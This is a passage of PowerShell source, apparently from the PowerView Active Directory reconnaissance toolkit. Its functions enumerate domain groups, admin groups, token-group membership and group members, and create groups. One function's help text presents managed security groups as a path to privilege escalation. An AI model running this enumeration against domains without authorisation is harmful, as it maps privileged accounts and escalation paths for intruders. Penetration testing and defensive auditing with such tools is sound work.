9752.DESCRIPTION
9753
9754Builds a directory searcher object using Get-DomainSearcher, builds a custom
9755LDAP filter based on targeting/filter parameters, and searches for all objects
9756matching the criteria. To only return specific properties, use
9757"-Properties samaccountname,usnchanged,...". By default, all group objects for
9758the current domain are returned. To return the groups a specific user/group is
9759a part of, use -MemberIdentity X to execute token groups enumeration.
9760
9761.PARAMETER Identity
9762
9763A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
9764SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
9765specifying the group to query for. Wildcards accepted.
9766
9767.PARAMETER MemberIdentity
9768
9769A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
9770SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
9771specifying the user/group member to query for group membership.
9772
9773.PARAMETER AdminCount
9774
9775Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
9776
9777.PARAMETER GroupScope
9778
9779Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for.
9780Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations.
9781
9782.PARAMETER GroupProperty
9783
9784Specifies a specific property to search for when performing the group search.
9785Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem.
9786
9787.PARAMETER Domain
9788
9789Specifies the domain to use for the query, defaults to the current domain.
9790
9791.PARAMETER LDAPFilter
9792
9793Specifies an LDAP query string that is used to filter Active Directory objects.
9794
9795.PARAMETER Properties
9796
9797Specifies the properties of the output object to retrieve from the server.
9798
9799.PARAMETER SearchBase
9800
9801The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9802Useful for OU queries.
9803
9804.PARAMETER Server
9805
9806Specifies an Active Directory server (domain controller) to bind to.
9807
9808.PARAMETER SearchScope
9809
9810Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
9811
9812.PARAMETER ResultPageSize
9813
9814Specifies the PageSize to set for the LDAP searcher object.
9815
9816.PARAMETER ServerTimeLimit
9817
9818Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
9819
9820.PARAMETER SecurityMasks
9821
9822Specifies an option for examining security information of a directory object.
9823One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
9824
9825.PARAMETER Tombstone
9826
9827Switch. Specifies that the searcher should also return deleted/tombstoned objects.
9828
9829.PARAMETER FindOne
9830
9831Only return one result object.
9832
9833.PARAMETER Credential
9834
9835A [Management.Automation.PSCredential] object of alternate credentials
9836for connection to the target domain.
9837
9838.PARAMETER Raw
9839
9840Switch. Return raw results instead of translating the fields into a custom PSObject.
9841
9842.EXAMPLE
9843
9844Get-DomainGroup | select samaccountname
9845
9846samaccountname
9847--------------
9848WinRMRemoteWMIUsers__
9849Administrators
9850Users
9851Guests
9852Print Operators
9853Backup Operators
9854...
9855
9856.EXAMPLE
9857
9858Get-DomainGroup *admin* | select distinguishedname
9859
9860distinguishedname
9861-----------------
9862CN=Administrators,CN=Builtin,DC=testlab,DC=local
9863CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local
9864CN=Schema Admins,CN=Users,DC=testlab,DC=local
9865CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
9866CN=Domain Admins,CN=Users,DC=testlab,DC=local
9867CN=DnsAdmins,CN=Users,DC=testlab,DC=local
9868CN=Server Admins,CN=Users,DC=testlab,DC=local
9869CN=Desktop Admins,CN=Users,DC=testlab,DC=local
9870
9871.EXAMPLE
9872
9873Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl
9874
9875samaccountname
9876--------------
9877Server Admins
9878
9879.EXAMPLE
9880
9881'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose
9882VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local
9883VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local)))
9884
9885usncreated : 13245
9886grouptype : -2147483646
9887samaccounttype : 268435456
9888samaccountname : Desktop Admins
9889whenchanged : 8/10/2016 12:30:30 AM
9890objectsid : S-1-5-21-890171859-3433809279-3366196753-1118
9891objectclass : {top, group}
9892cn : Desktop Admins
9893usnchanged : 13255
9894dscorepropagationdata : 1/1/1601 12:00:00 AM
9895name : Desktop Admins
9896distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
9897member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
9898whencreated : 8/10/2016 12:29:43 AM
9899instancetype : 4
9900objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71
9901objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local
9902
9903.EXAMPLE
9904
9905$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
9906$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
9907Get-DomainGroup -Credential $Cred
9908
9909.EXAMPLE
9910
9911Get-Domain | Select-Object -Expand name
9912testlab.local
9913
9914'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname
9915VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
9916VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
9917VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
9918VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins)))
9919
9920distinguishedname
9921-----------------
9922CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
9923
9924.OUTPUTS
9925
9926PowerView.Group
9927
9928Custom PSObject with translated group property fields.
9929#>
9930
9931 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
9932 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
9933 [OutputType('PowerView.Group')]
9934 [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
9935 Param(
9936 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
9937 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
9938 [String[]]
9939 $Identity,
9940
9941 [ValidateNotNullOrEmpty()]
9942 [Alias('UserName')]
9943 [String]
9944 $MemberIdentity,
9945
9946 [Switch]
9947 $AdminCount,
9948
9949 [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')]
9950 [Alias('Scope')]
9951 [String]
9952 $GroupScope,
9953
9954 [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')]
9955 [String]
9956 $GroupProperty,
9957
9958 [ValidateNotNullOrEmpty()]
9959 [String]
9960 $Domain,
9961
9962 [ValidateNotNullOrEmpty()]
9963 [Alias('Filter')]
9964 [String]
9965 $LDAPFilter,
9966
9967 [ValidateNotNullOrEmpty()]
9968 [String[]]
9969 $Properties,
9970
9971 [ValidateNotNullOrEmpty()]
9972 [Alias('ADSPath')]
9973 [String]
9974 $SearchBase,
9975
9976 [ValidateNotNullOrEmpty()]
9977 [Alias('DomainController')]
9978 [String]
9979 $Server,
9980
9981 [ValidateSet('Base', 'OneLevel', 'Subtree')]
9982 [String]
9983 $SearchScope = 'Subtree',
9984
9985 [ValidateRange(1, 10000)]
9986 [Int]
9987 $ResultPageSize = 200,
9988
9989 [ValidateRange(1, 10000)]
9990 [Int]
9991 $ServerTimeLimit,
9992
9993 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
9994 [String]
9995 $SecurityMasks,
9996
9997 [Switch]
9998 $Tombstone,
9999
10000 [Alias('ReturnOne')]
10001 [Switch]
10002 $FindOne,
10003
10004 [Management.Automation.PSCredential]
10005 [Management.Automation.CredentialAttribute()]
10006 $Credential = [Management.Automation.PSCredential]::Empty,
10007
10008 [Switch]
10009 $Raw
10010 )
10011
10012 BEGIN {
10013 $SearcherArguments = @{}
10014 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
10015 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
10016 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
10017 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
10018 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
10019 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
10020 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
10021 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
10022 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
10023 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
10024 $GroupSearcher = Get-DomainSearcher @SearcherArguments
10025 }
10026
10027 PROCESS {
10028 if ($GroupSearcher) {
10029 if ($PSBoundParameters['MemberIdentity']) {
10030
10031 if ($SearcherArguments['Properties']) {
10032 $OldProperties = $SearcherArguments['Properties']
10033 }
10034
10035 $SearcherArguments['Identity'] = $MemberIdentity
10036 $SearcherArguments['Raw'] = $True
10037
10038 Get-DomainObject @SearcherArguments | ForEach-Object {
10039 # convert the user/group to a directory entry
10040 $ObjectDirectoryEntry = $_.GetDirectoryEntry()
10041
10042 # cause the cache to calculate the token groups for the user/group
10043 $ObjectDirectoryEntry.RefreshCache('tokenGroups')
10044
10045 $ObjectDirectoryEntry.TokenGroups | ForEach-Object {
10046 # convert the token group sid
10047 $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
10048
10049 # ignore the built in groups
10050 if ($GroupSid -notmatch '^S-1-5-32-.*') {
10051 $SearcherArguments['Identity'] = $GroupSid
10052 $SearcherArguments['Raw'] = $False
10053 if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
10054 $Group = Get-DomainObject @SearcherArguments
10055 if ($Group) {
10056 $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
10057 $Group
10058 }
10059 }
10060 }
10061 }
10062 }
10063 else {
10064 $IdentityFilter = ''
10065 $Filter = ''
10066 $Identity | Where-Object {$_} | ForEach-Object {
10067 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
10068 if ($IdentityInstance -match '^S-1-') {
10069 $IdentityFilter += "(objectsid=$IdentityInstance)"
10070 }
10071 elseif ($IdentityInstance -match '^CN=') {
10072 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
10073 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
10074 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
10075 # and rebuild the domain searcher
10076 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
10077 Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
10078 $SearcherArguments['Domain'] = $IdentityDomain
10079 $GroupSearcher = Get-DomainSearcher @SearcherArguments
10080 if (-not $GroupSearcher) {
10081 Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'"
10082 }
10083 }
10084 }
10085 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
10086 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
10087 $IdentityFilter += "(objectguid=$GuidByteString)"
10088 }
10089 elseif ($IdentityInstance.Contains('\')) {
10090 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
10091 if ($ConvertedIdentityInstance) {
10092 $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
10093 $GroupName = $IdentityInstance.Split('\')[1]
10094 $IdentityFilter += "(samAccountName=$GroupName)"
10095 $SearcherArguments['Domain'] = $GroupDomain
10096 Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'"
10097 $GroupSearcher = Get-DomainSearcher @SearcherArguments
10098 }
10099 }
10100 else {
10101 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
10102 }
10103 }
10104
10105 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
10106 $Filter += "(|$IdentityFilter)"
10107 }
10108
10109 if ($PSBoundParameters['AdminCount']) {
10110 Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
10111 $Filter += '(admincount=1)'
10112 }
10113 if ($PSBoundParameters['GroupScope']) {
10114 $GroupScopeValue = $PSBoundParameters['GroupScope']
10115 $Filter = Switch ($GroupScopeValue) {
10116 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' }
10117 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' }
10118 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' }
10119 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' }
10120 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' }
10121 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' }
10122 }
10123 Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'"
10124 }
10125 if ($PSBoundParameters['GroupProperty']) {
10126 $GroupPropertyValue = $PSBoundParameters['GroupProperty']
10127 $Filter = Switch ($GroupPropertyValue) {
10128 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' }
10129 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' }
10130 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' }
10131 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' }
10132 }
10133 Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'"
10134 }
10135 if ($PSBoundParameters['LDAPFilter']) {
10136 Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"
10137 $Filter += "$LDAPFilter"
10138 }
10139
10140 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
10141 Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)"
10142
10143 if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() }
10144 else { $Results = $GroupSearcher.FindAll() }
10145 $Results | Where-Object {$_} | ForEach-Object {
10146 if ($PSBoundParameters['Raw']) {
10147 # return raw result objects
10148 $Group = $_
10149 }
10150 else {
10151 $Group = Convert-LDAPProperty -Properties $_.Properties
10152 }
10153 $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
10154 $Group
10155 }
10156 if ($Results) {
10157 try { $Results.dispose() }
10158 catch {
10159 Write-Verbose "[Get-DomainGroup] Error disposing of the Results object"
10160 }
10161 }
10162 $GroupSearcher.dispose()
10163 }
10164 }
10165 }
10166}
10167
10168
10169function New-DomainGroup {
10170<#
10171.SYNOPSIS
10172
10173Creates a new domain group (assuming appropriate permissions) and returns the group object.
10174
10175TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
10176
10177Author: Will Schroeder (@harmj0y)
10178License: BSD 3-Clause
10179Required Dependencies: Get-PrincipalContext
10180
10181.DESCRIPTION
10182
10183First binds to the specified domain context using Get-PrincipalContext.
10184The bound domain context is then used to create a new
10185DirectoryServices.AccountManagement.GroupPrincipal with the specified
10186group properties.
10187
10188.PARAMETER SamAccountName
10189
10190Specifies the Security Account Manager (SAM) account name of the group to create.
10191Maximum of 256 characters. Mandatory.
10192
10193.PARAMETER Name
10194
10195Specifies the name of the group to create. If not provided, defaults to SamAccountName.
10196
10197.PARAMETER DisplayName
10198
10199Specifies the display name of the group to create. If not provided, defaults to SamAccountName.
10200
10201.PARAMETER Description
10202
10203Specifies the description of the group to create.
10204
10205.PARAMETER Domain
10206
10207Specifies the domain to use to search for user/group principals, defaults to the current domain.
10208
10209.PARAMETER Credential
10210
10211A [Management.Automation.PSCredential] object of alternate credentials
10212for connection to the target domain.
10213
10214.EXAMPLE
10215
10216New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.'
10217
10218Creates the 'TestGroup' group with the specified description.
10219
10220.EXAMPLE
10221
10222$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
10223$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
10224New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred
10225
10226Creates the 'TestGroup' group with the specified description using the specified alternate credentials.
10227
10228.OUTPUTS
10229
10230DirectoryServices.AccountManagement.GroupPrincipal
10231#>
10232
10233 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
10234 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
10235 [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')]
10236 Param(
10237 [Parameter(Mandatory = $True)]
10238 [ValidateLength(0, 256)]
10239 [String]
10240 $SamAccountName,
10241
10242 [ValidateNotNullOrEmpty()]
10243 [String]
10244 $Name,
10245
10246 [ValidateNotNullOrEmpty()]
10247 [String]
10248 $DisplayName,
10249
10250 [ValidateNotNullOrEmpty()]
10251 [String]
10252 $Description,
10253
10254 [ValidateNotNullOrEmpty()]
10255 [String]
10256 $Domain,
10257
10258 [Management.Automation.PSCredential]
10259 [Management.Automation.CredentialAttribute()]
10260 $Credential = [Management.Automation.PSCredential]::Empty
10261 )
10262
10263 $ContextArguments = @{
10264 'Identity' = $SamAccountName
10265 }
10266 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
10267 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
10268 $Context = Get-PrincipalContext @ContextArguments
10269
10270 if ($Context) {
10271 $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context)
10272
10273 # set all the appropriate group parameters
10274 $Group.SamAccountName = $Context.Identity
10275
10276 if ($PSBoundParameters['Name']) {
10277 $Group.Name = $Name
10278 }
10279 else {
10280 $Group.Name = $Context.Identity
10281 }
10282 if ($PSBoundParameters['DisplayName']) {
10283 $Group.DisplayName = $DisplayName
10284 }
10285 else {
10286 $Group.DisplayName = $Context.Identity
10287 }
10288
10289 if ($PSBoundParameters['Description']) {
10290 $Group.Description = $Description
10291 }
10292
10293 Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'"
10294 try {
10295 $Null = $Group.Save()
10296 Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created"
10297 $Group
10298 }
10299 catch {
10300 Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_"
10301 }
10302 }
10303}
10304
10305
10306function Get-DomainManagedSecurityGroup {
10307<#
10308.SYNOPSIS
10309
10310Returns all security groups in the current (or target) domain that have a manager set.
10311
10312Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y)
10313License: BSD 3-Clause
10314Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl
10315
10316.DESCRIPTION
10317
10318Authority to manipulate the group membership of AD security groups and distribution groups
10319can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
10320used to delegate management authority to distribution groups, but Windows supports security groups
10321being managed in the same way.
10322
10323This function searches for AD groups which have a group manager set, and determines whether that
10324user can manipulate group membership. This could be a useful method of horizontal privilege
10325escalation, especially if the manager can manipulate the membership of a privileged group.
10326
10327.PARAMETER Domain
10328
10329Specifies the domain to use for the query, defaults to the current domain.
10330
10331.PARAMETER SearchBase
10332
10333The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10334Useful for OU queries.
10335
10336.PARAMETER Server
10337
10338Specifies an Active Directory server (domain controller) to bind to.
10339
10340.PARAMETER SearchScope
10341
10342Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
10343
10344.PARAMETER ResultPageSize
10345
10346Specifies the PageSize to set for the LDAP searcher object.
10347
10348.PARAMETER ServerTimeLimit
10349
10350Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
10351
10352.PARAMETER Tombstone
10353
10354Switch. Specifies that the searcher should also return deleted/tombstoned objects.
10355
10356.PARAMETER Credential
10357
10358A [Management.Automation.PSCredential] object of alternate credentials
10359for connection to the target domain.
10360
10361.EXAMPLE
10362
10363Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv
10364
10365Store a list of all security groups with managers in group-managers.csv
10366
10367.OUTPUTS
10368
10369PowerView.ManagedSecurityGroup
10370
10371A custom PSObject describing the managed security group.
10372#>
10373
10374 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
10375 [OutputType('PowerView.ManagedSecurityGroup')]
10376 [CmdletBinding()]
10377 Param(
10378 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
10379 [Alias('Name')]
10380 [ValidateNotNullOrEmpty()]
10381 [String]
10382 $Domain,
10383
10384 [ValidateNotNullOrEmpty()]
10385 [Alias('ADSPath')]
10386 [String]
10387 $SearchBase,
10388
10389 [ValidateNotNullOrEmpty()]
10390 [Alias('DomainController')]
10391 [String]
10392 $Server,
10393
10394 [ValidateSet('Base', 'OneLevel', 'Subtree')]
10395 [String]
10396 $SearchScope = 'Subtree',
10397
10398 [ValidateRange(1, 10000)]
10399 [Int]
10400 $ResultPageSize = 200,
10401
10402 [ValidateRange(1, 10000)]
10403 [Int]
10404 $ServerTimeLimit,
10405
10406 [Switch]
10407 $Tombstone,
10408
10409 [Management.Automation.PSCredential]
10410 [Management.Automation.CredentialAttribute()]
10411 $Credential = [Management.Automation.PSCredential]::Empty
10412 )
10413
10414 BEGIN {
10415 $SearcherArguments = @{
10416 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
10417 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
10418 }
10419 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
10420 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
10421 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
10422 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
10423 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
10424 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
10425 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
10426 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
10427 }
10428
10429 PROCESS {
10430 if ($PSBoundParameters['Domain']) {
10431 $SearcherArguments['Domain'] = $Domain
10432 $TargetDomain = $Domain
10433 }
10434 else {
10435 $TargetDomain = $Env:USERDNSDOMAIN
10436 }
10437
10438 # go through the list of security groups on the domain and identify those who have a manager
10439 Get-DomainGroup @SearcherArguments | ForEach-Object {
10440 $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid'
10441 $SearcherArguments['Identity'] = $_.managedBy
10442 $Null = $SearcherArguments.Remove('LDAPFilter')
10443
10444 # $SearcherArguments
10445 # retrieve the object that the managedBy DN refers to
10446 $GroupManager = Get-DomainObject @SearcherArguments
10447
10448 $ManagedGroup = New-Object PSObject
10449 $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
10450 $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
10451 $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname
10452 $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName
10453
10454 # determine whether the manager is a user or a group
10455 if ($GroupManager.samaccounttype -eq 0x10000000) {
10456 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
10457 }
10458 elseif ($GroupManager.samaccounttype -eq 0x30000000) {
10459 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
10460 }
10461
10462 $ACLArguments = @{
10463 'Identity' = $_.distinguishedname
10464 'RightsFilter' = 'WriteMembers'
10465 }
10466 if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
10467 if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
10468 if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
10469 if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
10470 if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
10471 if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
10472
10473 # # TODO: correct!
10474 # # find the ACLs that relate to the ability to write to the group
10475 # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
10476 # # $ACLArguments
10477 # # double-check that the manager
10478 # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {
10479 # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
10480 # }
10481 # else {
10482 # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
10483 # }
10484
10485 $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
10486
10487 $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
10488 $ManagedGroup
10489 }
10490 }
10491}
10492
10493
10494function Get-DomainGroupMember {
10495<#
10496.SYNOPSIS
10497
10498Return the members of a specific domain group.
10499
10500Author: Will Schroeder (@harmj0y)
10501License: BSD 3-Clause
10502Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID
10503
10504.DESCRIPTION
10505
10506Builds a directory searcher object using Get-DomainSearcher, builds a custom
10507LDAP filter based on targeting/filter parameters, and searches for the specified
10508group matching the criteria. Each result is then rebound and the full user
10509or group object is returned.
10510
10511.PARAMETER Identity
10512
10513A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
10514SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
10515specifying the group to query for. Wildcards accepted.
10516
10517.PARAMETER Domain
10518
10519Specifies the domain to use for the query, defaults to the current domain.
10520
10521.PARAMETER Recurse
10522
10523Switch. If the group member is a group, recursively try to query its members as well.
10524
10525.PARAMETER RecurseUsingMatchingRule
10526
10527Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.
10528Much faster than manual recursion, but doesn't reveal cross-domain groups,
10529and only returns user accounts (no nested group objects themselves).
10530
10531.PARAMETER LDAPFilter
10532
10533Specifies an LDAP query string that is used to filter Active Directory objects.
10534
10535.PARAMETER SearchBase
10536
10537The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10538Useful for OU queries.
10539
10540.PARAMETER Server
10541
10542Specifies an Active Directory server (domain controller) to bind to.
10543
10544.PARAMETER SearchScope
10545
10546Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
10547
10548.PARAMETER ResultPageSize
10549
10550Specifies the PageSize to set for the LDAP searcher object.
10551
10552.PARAMETER ServerTimeLimit
10553
10554Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
10555
10556.PARAMETER SecurityMasks
10557
10558Specifies an option for examining security information of a directory object.
10559One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
10560
10561.PARAMETER Tombstone
10562
10563Switch. Specifies that the searcher should also return deleted/tombstoned objects.
10564
10565.PARAMETER Credential
10566
10567A [Management.Automation.PSCredential] object of alternate credentials
10568for connection to the target domain.
10569
10570.EXAMPLE
10571
10572Get-DomainGroupMember "Desktop Admins"
10573
10574GroupDomain : testlab.local
10575GroupName : Desktop Admins
10576GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
10577MemberDomain : testlab.local
10578MemberName : Testing Group
10579MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
10580MemberObjectClass : group
10581MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
10582
10583GroupDomain : testlab.local
10584GroupName : Desktop Admins
10585GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
10586MemberDomain : testlab.local
10587MemberName : arobbins.a
10588MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
10589MemberObjectClass : user
10590MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
10591
10592.EXAMPLE
10593
10594'Desktop Admins' | Get-DomainGroupMember -Recurse
10595
10596GroupDomain : testlab.local
10597GroupName : Desktop Admins
